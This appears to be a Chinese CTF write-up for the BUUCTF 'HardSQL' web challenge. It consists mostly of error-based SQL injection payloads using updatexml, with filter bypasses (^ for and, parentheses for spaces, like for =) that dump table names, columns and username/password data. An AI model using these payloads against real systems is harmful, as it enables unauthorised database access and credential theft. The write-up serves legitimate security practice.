BUUCTF-web刷题篇(14)
23.HardSQL
万能密码和双写绕过都不起作用,尝试报错注入(datexml和extractvalue两种)
用updatexml试试:
1'or (updatexml(1,concat(0x7e,database(),0x7e),1))or'
发现错误,应该有过滤,经过测试,至少and,空格,等于 等被过滤
那就用^代替and,用()代替空格,like代替=
1'^(updatexml(1,concat(0x7e,database(),0x7e),1))or'
成功爆库,开始爆表
1'^(updatexml(1,(concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e)),1))or'
爆字段
1'^(updatexml(1,(concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like('geek')),0x7e)),1))or'
爆数据
1'^(updatexml(1,(concat(0x7e,(select(group_concat(id,username,password))from(geek.H4rDsq1)),0x7e)),1))or'
发现只有一半,因为只能输出32字符,我们可以用right函数来获取后面的字符,right(password,32)(可以换成30,因为后面还有个}和~,32只是因为没有影响就没改)
1'^(updatexml(1,(concat(0x7e,(select(group_concat(right(password,32)))from(geek.H4rDsq1)),0x7e)),1))or'
拼凑即可获得flag